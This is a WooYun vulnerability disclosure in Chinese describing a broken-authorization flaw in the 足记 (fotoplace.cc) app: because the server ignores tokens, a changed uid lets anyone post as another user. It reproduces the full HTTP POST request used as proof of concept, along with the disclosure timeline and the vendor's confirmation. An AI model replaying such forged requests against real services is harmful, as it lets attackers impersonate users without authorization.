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缺陷编号：wooyun-2015-0102844

漏洞标题：足记app越权发送任意用户内容

相关厂商：fotoplace.cc

漏洞作者： Vern

提交时间：2015-03-30 13:59

修复时间：2015-05-14 14:42

公开时间：2015-05-14 14:42

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-03-30： 细节已通知厂商并且等待厂商处理中
2015-03-30： 厂商已经确认，细节仅向厂商公开
2015-04-09： 细节向核心白帽子及相关领域专家公开
2015-04-19： 细节向普通白帽子公开
2015-04-29： 细节向实习白帽子公开
2015-05-14： 细节向公众公开

简要描述：

以任意用户权限发送 图形文字内容（一不小心大片即视感会跑偏哦）

详细说明：

自己在足记app上随便发送一个内容 然后抓包

1.png


没有对token验证 id参数可以控制 修改为目标用户id 217
然后提交包

POST /api2/home%2Fnewpost.php HTTP/1.1
Content-Type: multipart/form-data; boundary=6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Length: 748424
Host: fotoplace.cc
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/2.3.0
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="version"
Content-Type: text/plain; charset=UTF-8
Content-Length: 3
Content-Transfer-Encoding: binary
2.3
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="uid"
Content-Type: text/plain; charset=UTF-8
Content-Length: 7
Content-Transfer-Encoding: binary
217
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="token"
Content-Type: text/plain; charset=UTF-8
Content-Length: 64
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="type"
Content-Type: text/plain; charset=UTF-8
Content-Length: 4
Content-Transfer-Encoding: binary
post
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="photo"; filename="IMG_1426922379498.JPG"
Content-Type: 
Content-Length: 745335
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="footprintId"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="syncFootprintToDb"
Content-Type: text/plain; charset=UTF-8
Content-Length: 1
Content-Transfer-Encoding: binary
0
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="tags"
Content-Type: text/plain; charset=UTF-8
Content-Length: 2
Content-Transfer-Encoding: binary
[]
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="text"
Content-Type: text/plain; charset=UTF-8
Content-Length: 9
Content-Transfer-Encoding: binary
test by wooyun
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="lat"
Content-Type: text/plain; charset=UTF-8
Content-Length: 1
Content-Transfer-Encoding: binary
0
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="lng"
Content-Type: text/plain; charset=UTF-8
Content-Length: 1
Content-Transfer-Encoding: binary
0
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="locationName"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="locationAddress"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="locationDesc"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="topicTag"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd
Content-Disposition: form-data; name="activityId"
Content-Type: text/plain; charset=UTF-8
Content-Length: 0
Content-Transfer-Encoding: binary
--6df4609c-0455-47e6-b289-4f89229f7ddd--


2.png


上传成功

漏洞证明：

Screenshot_2015-03-21-15-36-59.png

修复方案：

各种验证 app上的大部分token都没起作用

版权声明：转载请注明来源 Vern@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-03-30 14:40

厂商回复：

多谢Vern

最新状态：

暂无